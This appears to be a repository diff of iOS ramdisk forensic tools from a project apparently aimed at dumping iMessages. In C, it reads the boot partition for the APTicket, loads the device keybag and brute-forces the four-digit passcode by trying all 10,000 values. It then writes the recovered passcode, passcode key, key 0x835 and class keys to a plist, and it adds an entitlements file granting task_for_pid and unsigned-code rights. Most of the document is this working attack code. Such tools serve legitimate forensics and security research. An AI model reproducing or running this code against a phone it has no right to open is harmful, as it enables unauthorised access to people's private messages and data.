dump-imessages/iphone-dataprotection/ramdisk_tools/shsh_dump.c
Normal file
@@ -0,0 +1,176 @@
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
//#include <sys/mount.h>
|
||||
//#include <sys/socket.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "ioflash/ioflash.h"
|
||||
#include "util.h"
|
||||
|
||||
struct IMG2
|
||||
{
|
||||
uint32_t magic;
|
||||
uint32_t block_size;
|
||||
uint32_t images_offset;
|
||||
uint32_t images_block;
|
||||
uint32_t images_length;
|
||||
uint8_t padding[0x1c];
|
||||
uint32_t crc32;
|
||||
};
|
||||
|
||||
struct IMG3
|
||||
{
|
||||
uint32_t magic;
|
||||
uint32_t fullSize;
|
||||
uint32_t sizeNoPack;
|
||||
uint32_t sigCheckArea;
|
||||
uint32_t iden;
|
||||
};
|
||||
|
||||
struct IMG3_TLV
|
||||
{
|
||||
uint32_t tag;
|
||||
uint32_t total_length;
|
||||
uint32_t data_length;
|
||||
uint8_t payload[1];
|
||||
};
|
||||
|
||||
void printIMG2(struct IMG2* s)
|
||||
{
|
||||
printf("magic= %x\n", s->magic);
|
||||
printf("block_size= %x\n", s->block_size);
|
||||
printf("images_offset= %x\n", s->images_offset);
|
||||
printf("images_block= %x\n", s->images_block);
|
||||
printf("images_length= %x\n", s->images_length);
|
||||
}
|
||||
void printIMG3(struct IMG3* s)
|
||||
{
|
||||
char iden[10]={0};
|
||||
memcpy(iden, &s->iden, 4);
|
||||
printf("magic= %x\n", s->magic);
|
||||
printf("fullSize= %x\n", s->fullSize);
|
||||
printf("iden= %s\n", iden);
|
||||
}
|
||||
|
||||
CFDataRef getIMG3Data(struct IMG3* img3)
|
||||
{
|
||||
CFDataRef data = NULL;
|
||||
uint8_t* p = (uint8_t*) img3;
|
||||
uint8_t* z = &p[20];
|
||||
|
||||
if(img3->magic != 'Img3')
|
||||
return NULL;
|
||||
|
||||
while(z < &p[img3->fullSize])
|
||||
{
|
||||
struct IMG3_TLV* item = (struct IMG3_TLV*) z;
|
||||
if( item->tag == 'DATA')
|
||||
{
|
||||
data = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, item->payload, item->data_length, NULL);
|
||||
return data;
|
||||
}
|
||||
z += item->total_length;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
extern uint32_t gPagesPerBlock;
|
||||
extern uint32_t gBytesPerPage ;
|
||||
extern uint32_t gBootloaderBytes ;
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
int one=1;
|
||||
int cmd=0;
|
||||
|
||||
CFMutableDictionaryRef dict = FSDGetInfo(1);
|
||||
if (dict == NULL)
|
||||
{
|
||||
fprintf(stderr, "FAILed to get NAND infos");
|
||||
return -1;
|
||||
}
|
||||
if(!IOFlashStorage_kernel_patch())
|
||||
return -1;
|
||||
|
||||
struct kIOFlashControllerOut out;
|
||||
uint32_t bootSize = gBootloaderBytes * gPagesPerBlock * 8;
|
||||
|
||||
printf("Mallocing %x bytes for boot partition\n", bootSize);
|
||||
uint8_t* boot = malloc(bootSize);
|
||||
if( boot == NULL)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint8_t* buffer = malloc(gBytesPerPage);
|
||||
if( buffer == NULL)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint32_t block, page, off=0;
|
||||
|
||||
for(block=8; block < 16; block++)
|
||||
{
|
||||
for(page=0; page < gPagesPerBlock; page++)
|
||||
{
|
||||
if(FSDReadBootPage(0, block*gPagesPerBlock + page, buffer, &out))
|
||||
{
|
||||
//printf("FSDReadBootPage error %x\n", block*gPagesPerBlock + page);
|
||||
//return -1;
|
||||
}
|
||||
memcpy(&boot[off], buffer, gBootloaderBytes);
|
||||
off += gBootloaderBytes;
|
||||
}
|
||||
}
|
||||
|
||||
printIMG2((struct IMG2*) boot);
|
||||
struct IMG2* img2 = (struct IMG2*) boot;
|
||||
|
||||
if( img2->magic != 0x494d4732)
|
||||
{
|
||||
printf("Bag IMG2 magic : %x\n", img2->magic);
|
||||
return -1;
|
||||
}
|
||||
uint32_t start = img2->block_size * img2->images_block;
|
||||
|
||||
uint32_t end = start + img2->block_size * img2->images_length;
|
||||
|
||||
if( end < start)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
printf("start %x end %x\n", start, end);
|
||||
uint8_t* p = &boot[start];
|
||||
|
||||
CFMutableDictionaryRef resultsDict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
if(dict == NULL)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
while(p < &boot[end])
|
||||
{
|
||||
struct IMG3* img3 = (struct IMG3*) p;
|
||||
if(img3->magic != 'Img3')
|
||||
break;
|
||||
printIMG3(img3);
|
||||
|
||||
if(img3->iden == 'SCAB')
|
||||
{
|
||||
CFDataRef data = getIMG3Data(img3);
|
||||
if(data)
|
||||
{
|
||||
CFDictionaryAddValue(resultsDict, CFSTR("APTicket"), data);
|
||||
writePlistToStdout(resultsDict);
|
||||
CFRelease(data);
|
||||
}
|
||||
}
|
||||
p += img3->fullSize;
|
||||
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "AppleKeyStore.h"
|
||||
#include "IOKit.h"
|
||||
#include "IOAESAccelerator.h"
|
||||
#include "registry.h"
|
||||
#include "util.h"
|
||||
#include "image.h"
|
||||
#include "remote_functions.h"
|
||||
|
||||
/*
|
||||
#define MobileKeyBagBase 0x354cb000
|
||||
|
||||
CFDictionaryRef (*AppleKeyStore_loadKeyBag)(char*, char*) = MobileKeyBagBase + 0x50A8;
|
||||
int (*AppleKeyStoreKeyBagSetSystem)(int) = MobileKeyBagBase + 0x910;
|
||||
int (*AppleKeyStoreKeyBagCreateWithData)(CFDataRef, int*) = MobileKeyBagBase + 0xC88;
|
||||
*/
|
||||
/*
|
||||
/private/var/mobile/Library/ConfigurationProfiles/PublicInfo/EffectiveUserSettings.plist.plist
|
||||
plist["restrictedValue"]["passcodeKeyboardComplexity"]
|
||||
*/
|
||||
|
||||
void saveKeybagInfos(CFDataRef kbkeys, KeyBag* kb, uint8_t* key835, char* passcode, uint8_t* passcodeKey, CFMutableDictionaryRef classKeys)
|
||||
{
|
||||
CFMutableDictionaryRef out = device_info(-1, NULL);
|
||||
|
||||
CFStringRef uuid = CreateHexaCFString(kb->uuid, 16);
|
||||
|
||||
CFDictionaryAddValue(out, CFSTR("uuid"), uuid);
|
||||
CFDictionaryAddValue(out, CFSTR("KeyBagKeys"), kbkeys);
|
||||
|
||||
addHexaString(out, CFSTR("salt"), kb->salt, 20);
|
||||
|
||||
if (passcode != NULL)
|
||||
{
|
||||
CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII);
|
||||
CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
|
||||
CFRelease(cfpasscode);
|
||||
}
|
||||
if (passcodeKey != NULL)
|
||||
addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
|
||||
|
||||
if (key835 != NULL)
|
||||
addHexaString(out, CFSTR("key835"), key835, 16);
|
||||
if (classKeys != NULL)
|
||||
CFDictionaryAddValue(out, CFSTR("classKeys"), classKeys);
|
||||
|
||||
CFStringRef resultsFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID")));
|
||||
|
||||
CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@.plist\n"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID")));
|
||||
|
||||
CFShow(printString);
|
||||
CFRelease(printString);
|
||||
|
||||
saveResults(resultsFileName, out);
|
||||
|
||||
CFRelease(resultsFileName);
|
||||
CFRelease(uuid);
|
||||
CFRelease(out);
|
||||
|
||||
}
|
||||
|
||||
char* bruteforceWithAppleKeyStore(CFDataRef kbkeys)
|
||||
{
|
||||
uint64_t keybag_id = 0;
|
||||
int i;
|
||||
|
||||
char* passcode = (char*) malloc(5);
|
||||
memset(passcode, 0, 5);
|
||||
|
||||
AppleKeyStoreKeyBagInit();
|
||||
AppleKeyStoreKeyBagCreateWithData(kbkeys, &keybag_id);
|
||||
printf("keybag id=%x\n", (uint32_t) keybag_id);
|
||||
AppleKeyStoreKeyBagSetSystem(keybag_id);
|
||||
|
||||
CFDataRef data = CFDataCreateWithBytesNoCopy(0, (const UInt8*) passcode, 4, NULL);
|
||||
|
||||
io_connect_t conn = IOKit_getConnect("AppleKeyStore");
|
||||
|
||||
if (!AppleKeyStoreUnlockDevice(conn, data))
|
||||
{
|
||||
return passcode;
|
||||
}
|
||||
|
||||
for(i=0; i < 10000; i++)
|
||||
{
|
||||
sprintf(passcode, "%04d", i);
|
||||
//if (i % 1000 == 0)
|
||||
printf("%s\n", passcode);
|
||||
if (!AppleKeyStoreUnlockDevice(conn, data))
|
||||
{
|
||||
return passcode;
|
||||
}
|
||||
}
|
||||
free(passcode);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char* bruteforceUserland(KeyBag* kb, uint8_t* key835)
|
||||
{
|
||||
int i;
|
||||
char* passcode = (char*) malloc(5);
|
||||
memset(passcode, 0, 5);
|
||||
|
||||
if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835))
|
||||
return passcode;
|
||||
|
||||
for(i=0; i < 10000; i++)
|
||||
{
|
||||
sprintf(passcode, "%04d", i);
|
||||
//if (i % 1000 == 0)
|
||||
printf("%s\n", passcode);
|
||||
if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835))
|
||||
return passcode;
|
||||
}
|
||||
free(passcode);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
u_int8_t passcodeKey[32]={0};
|
||||
char* passcode = NULL;
|
||||
int bruteforceMethod = 0;
|
||||
int showImages = 0;
|
||||
int c;
|
||||
|
||||
while ((c = getopt (argc, argv, "ui")) != -1)
|
||||
{
|
||||
switch (c)
|
||||
{
|
||||
case 'u':
|
||||
bruteforceMethod = 1;
|
||||
break;
|
||||
case 'i':
|
||||
showImages = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t* key835 = IOAES_key835();
|
||||
|
||||
if (!memcmp(key835, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16))
|
||||
{
|
||||
printf("FAIL: missing UID kernel patch\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag");
|
||||
|
||||
if (kbdict == NULL)
|
||||
{
|
||||
mountDataPartition("/mnt2");
|
||||
|
||||
kbdict = AppleKeyStore_loadKeyBag("/mnt2/keybags","systembag");
|
||||
if (kbdict == NULL)
|
||||
{
|
||||
printf("FAILed to load keybag\n");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys"));
|
||||
CFRetain(kbkeys);
|
||||
|
||||
if (kbkeys == NULL)
|
||||
{
|
||||
printf("FAIL: KeyBagKeys not found\n");
|
||||
return -1;
|
||||
}
|
||||
//write_file("kbblob.bin", CFDataGetBytePtr(kbkeys), CFDataGetLength(kbkeys));
|
||||
KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
|
||||
if (kb == NULL)
|
||||
{
|
||||
printf("FAIL: AppleKeyStore_parseBinaryKeyBag\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
//save all we have for now
|
||||
saveKeybagInfos(kbkeys, kb, key835, NULL, NULL, NULL);
|
||||
|
||||
//now try to unlock the keybag
|
||||
|
||||
if (bruteforceMethod == 1)
|
||||
passcode = bruteforceUserland(kb, key835);
|
||||
else
|
||||
passcode = bruteforceWithAppleKeyStore(kbkeys);
|
||||
|
||||
if (passcode != NULL)
|
||||
{
|
||||
if (!strcmp(passcode, ""))
|
||||
printf("No passcode set\n");
|
||||
else
|
||||
printf("Found passcode : %s\n", passcode);
|
||||
|
||||
AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835);
|
||||
AppleKeyStore_printKeyBag(kb);
|
||||
|
||||
CFMutableDictionaryRef classKeys = AppleKeyStore_getClassKeys(kb);
|
||||
|
||||
AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey);
|
||||
|
||||
printf("Passcode key : ");
|
||||
printBytesToHex(passcodeKey, 32);
|
||||
printf("\n");
|
||||
|
||||
printf("Key 0x835 : ");
|
||||
printBytesToHex(key835, 16);
|
||||
printf("\n");
|
||||
|
||||
//save all we have for now
|
||||
saveKeybagInfos(kbkeys, kb, key835, passcode, passcodeKey, classKeys);
|
||||
CFRelease(classKeys);
|
||||
|
||||
free(passcode);
|
||||
}
|
||||
free(kb);
|
||||
|
||||
CFRelease(kbkeys);
|
||||
CFRelease(kbdict);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>get-task-allow</key>
|
||||
<true/>
|
||||
<key>run-unsigned-code</key>
|
||||
<true/>
|
||||
<key>task_for_pid-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
194
dump-imessages/iphone-dataprotection/ramdisk_tools/util.c
Normal file
194
dump-imessages/iphone-dataprotection/ramdisk_tools/util.c
Normal file
@@ -0,0 +1,194 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mount.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "util.h"
|
||||
|
||||
void printBytesToHex(const uint8_t* buffer, size_t bytes)
|
||||
{
|
||||
while(bytes > 0) {
|
||||
printf("%02x", *buffer);
|
||||
buffer++;
|
||||
bytes--;
|
||||
}
|
||||
}
|
||||
|
||||
void printHexString(const char* description, const uint8_t* buffer, size_t bytes)
|
||||
{
|
||||
printf("%s : ", description);
|
||||
printBytesToHex(buffer, bytes);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int write_file(const char* filename, uint8_t* data, size_t len)
|
||||
{
|
||||
int fd = open(filename, O_CREAT | O_RDWR);
|
||||
if (fd < 0)
|
||||
return -1;
|
||||
if (write(fd, data, len) != len)
|
||||
return -1;
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void writePlistToStdout(CFDictionaryRef out)
|
||||
{
|
||||
CFDataRef d = CFPropertyListCreateData(kCFAllocatorDefault, out, kCFPropertyListXMLFormat_v1_0, 0, NULL);
|
||||
if (d == NULL)
|
||||
return;
|
||||
write(1, CFDataGetBytePtr(d), CFDataGetLength(d));
|
||||
}
|
||||
|
||||
int mountDataPartition(const char* mountpoint)
|
||||
{
|
||||
char* diskname = "/dev/disk0s2s1";
|
||||
int err;
|
||||
printf("Trying to mount data partition\n");
|
||||
err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname);
|
||||
if (!err)
|
||||
return 0;
|
||||
|
||||
diskname = "/dev/disk0s1s2";
|
||||
err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname);
|
||||
if (!err)
|
||||
return 0;
|
||||
diskname = "/dev/disk0s2";
|
||||
err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
|
||||
int getHFSInfos(struct HFSInfos *infos)
|
||||
{
|
||||
char buf[8192] = {0};
|
||||
struct HFSPlusVolumeHeader* header;
|
||||
unsigned int i;
|
||||
|
||||
int fd = open("/dev/rdisk0s2", O_RDONLY);
|
||||
if (fd < 0 )
|
||||
fd = open("/dev/rdisk0s1s2", O_RDONLY); //ios5 lwvm
|
||||
if (fd < 0 )
|
||||
return fd;
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
|
||||
if (read(fd, buf, 8192) != 8192)
|
||||
return -1;
|
||||
close(fd);
|
||||
|
||||
header = (struct HFSPlusVolumeHeader*) &buf[0x400];
|
||||
|
||||
uint32_t blockSize = CFSwapInt32BigToHost(header->blockSize);
|
||||
|
||||
infos->volumeUUID = header->volumeUUID;
|
||||
infos->blockSize = blockSize;
|
||||
|
||||
if (blockSize != 0x1000 && blockSize != 0x2000)
|
||||
{
|
||||
fprintf(stderr, "getHFSInfos: Unknown block size %x\n", blockSize);
|
||||
}
|
||||
else
|
||||
{
|
||||
fd = open("/dev/rdisk0", O_RDONLY);
|
||||
if (fd < 0 )
|
||||
return fd;
|
||||
|
||||
if (read(fd, buf, 8192) != 8192)
|
||||
return -1;
|
||||
|
||||
if (!memcmp(buf, LwVMType, 16))
|
||||
{
|
||||
LwVM* lwvm = (LwVM*) buf;
|
||||
|
||||
if (lwvm->chunks[0] != 0xF000)
|
||||
{
|
||||
fprintf(stderr, "getHFSInfos: lwvm->chunks[0] != 0xF000\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for(i=0; i < 0x400; i++)
|
||||
{
|
||||
if(lwvm->chunks[i] == 0x1000) //partition 1 block 0
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
uint32_t LwVM_rangeShiftValue = 32 - __builtin_clz((lwvm->mediaSize - 1) >> 10);
|
||||
|
||||
infos->dataVolumeOffset = (i << LwVM_rangeShiftValue) / blockSize;
|
||||
}
|
||||
else
|
||||
{
|
||||
lseek(fd, 2*blockSize, SEEK_SET);
|
||||
|
||||
if (read(fd, buf, 8192) != 8192)
|
||||
return -1;
|
||||
close(fd);
|
||||
|
||||
infos->dataVolumeOffset = ((unsigned int*)buf)[0xA0/4];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len)
|
||||
{
|
||||
int i;
|
||||
|
||||
CFMutableStringRef s = CFStringCreateMutable(kCFAllocatorDefault, len*2);
|
||||
|
||||
for(i=0; i < len; i++)
|
||||
{
|
||||
CFStringAppendFormat(s, NULL, CFSTR("%02x"), buffer[i]);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len)
|
||||
{
|
||||
CFMutableStringRef s = CreateHexaCFString(buffer, len);
|
||||
CFDictionaryAddValue(out, key, s);
|
||||
CFRelease(s);
|
||||
}
|
||||
|
||||
void saveResults(CFStringRef filename, CFMutableDictionaryRef out)
|
||||
{
|
||||
CFURLRef fileURL = CFURLCreateWithFileSystemPath( NULL, filename, kCFURLPOSIXPathStyle, FALSE);
|
||||
CFWriteStreamRef stream = CFWriteStreamCreateWithFile( NULL, fileURL);
|
||||
CFWriteStreamOpen(stream);
|
||||
CFPropertyListWriteToStream(out, stream, kCFPropertyListXMLFormat_v1_0, NULL);
|
||||
CFWriteStreamClose(stream);
|
||||
|
||||
CFRelease(stream);
|
||||
CFRelease(fileURL);
|
||||
}
|
||||
|
||||
int create_listening_socket(int port)
|
||||
{
|
||||
struct sockaddr_in listen_addr;
|
||||
int s, one = 1;
|
||||
|
||||
memset(&listen_addr, 0, sizeof(struct sockaddr));
|
||||
listen_addr.sin_family = AF_INET;
|
||||
listen_addr.sin_port = htons(port);
|
||||
listen_addr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
s = socket(AF_INET, SOCK_STREAM, 0);
|
||||
|
||||
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||
|
||||
if (bind(s, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) < 0)
|
||||
{
|
||||
perror("bind");
|
||||
return -1;
|
||||
}
|
||||
listen(s, 10);
|
||||
|
||||
return s;
|
||||
}
|
||||
81
dump-imessages/iphone-dataprotection/ramdisk_tools/util.h
Normal file
81
dump-imessages/iphone-dataprotection/ramdisk_tools/util.h
Normal file
@@ -0,0 +1,81 @@
|
||||
struct HFSInfos {
|
||||
uint64_t volumeUUID;
|
||||
uint32_t blockSize;
|
||||
uint32_t dataVolumeOffset;
|
||||
};
|
||||
|
||||
struct HFSPlusVolumeHeader {
|
||||
uint16_t signature;
|
||||
uint16_t version;
|
||||
uint32_t attributes;
|
||||
uint32_t lastMountedVersion;
|
||||
uint32_t journalInfoBlock;
|
||||
|
||||
uint32_t createDate;
|
||||
uint32_t modifyDate;
|
||||
uint32_t backupDate;
|
||||
uint32_t checkedDate;
|
||||
|
||||
uint32_t fileCount;
|
||||
uint32_t folderCount;
|
||||
|
||||
uint32_t blockSize;
|
||||
uint32_t totalBlocks;
|
||||
uint32_t freeBlocks;
|
||||
|
||||
uint32_t nextAllocation;
|
||||
uint32_t rsrcClumpSize;
|
||||
uint32_t dataClumpSize;
|
||||
uint32_t nextCatalogID;
|
||||
|
||||
uint32_t writeCount;
|
||||
uint64_t encodingsBitmap;
|
||||
|
||||
uint32_t finderInfo[6];
|
||||
uint64_t volumeUUID;
|
||||
/*
|
||||
HFSPlusForkData allocationFile;
|
||||
HFSPlusForkData extentsFile;
|
||||
HFSPlusForkData catalogFile;
|
||||
HFSPlusForkData attributesFile;
|
||||
HFSPlusForkData startupFile;*/
|
||||
} __attribute__((packed));
|
||||
|
||||
//https://github.com/iDroid-Project/openiBoot/blob/master/openiboot/includes/bdev.h
|
||||
typedef struct _LwVMPartitionRecord {
|
||||
uint64_t type[2];
|
||||
uint64_t guid[2];
|
||||
uint64_t begin;
|
||||
uint64_t end;
|
||||
uint64_t attribute; // 0 == unencrypted; 0x1000000000000 == encrypted
|
||||
char partitionName[0x48];
|
||||
} __attribute__ ((packed)) LwVMPartitionRecord;
|
||||
|
||||
typedef struct _LwVM {
|
||||
uint64_t type[2];
|
||||
uint64_t guid[2];
|
||||
uint64_t mediaSize;
|
||||
uint32_t numPartitions;
|
||||
uint32_t crc32;
|
||||
uint8_t unkn[464];
|
||||
LwVMPartitionRecord partitions[12];
|
||||
uint16_t chunks[1024]; // chunks[0] should be 0xF000
|
||||
} __attribute__ ((packed)) LwVM;
|
||||
|
||||
static const char LwVMType[] = { 0x6A, 0x90, 0x88, 0xCF, 0x8A, 0xFD, 0x63, 0x0A, 0xE3, 0x51, 0xE2, 0x48, 0x87, 0xE0, 0xB9, 0x8B };
|
||||
|
||||
int getHFSInfos(struct HFSInfos *infos);
|
||||
|
||||
CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len);
|
||||
|
||||
void printBytesToHex(const uint8_t* buffer, size_t bytes);
|
||||
void printHexString(const char* description, const uint8_t* buffer, size_t bytes);
|
||||
int write_file(const char* filename, uint8_t* data, size_t len);
|
||||
|
||||
void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len);
|
||||
void saveResults(CFStringRef filename, CFMutableDictionaryRef out);
|
||||
void writePlistToStdout(CFDictionaryRef out);
|
||||
|
||||
int mountDataPartition(const char* mountpoint);
|
||||
|
||||
int create_listening_socket(int port);
|
||||
Reference in New Issue
Block a user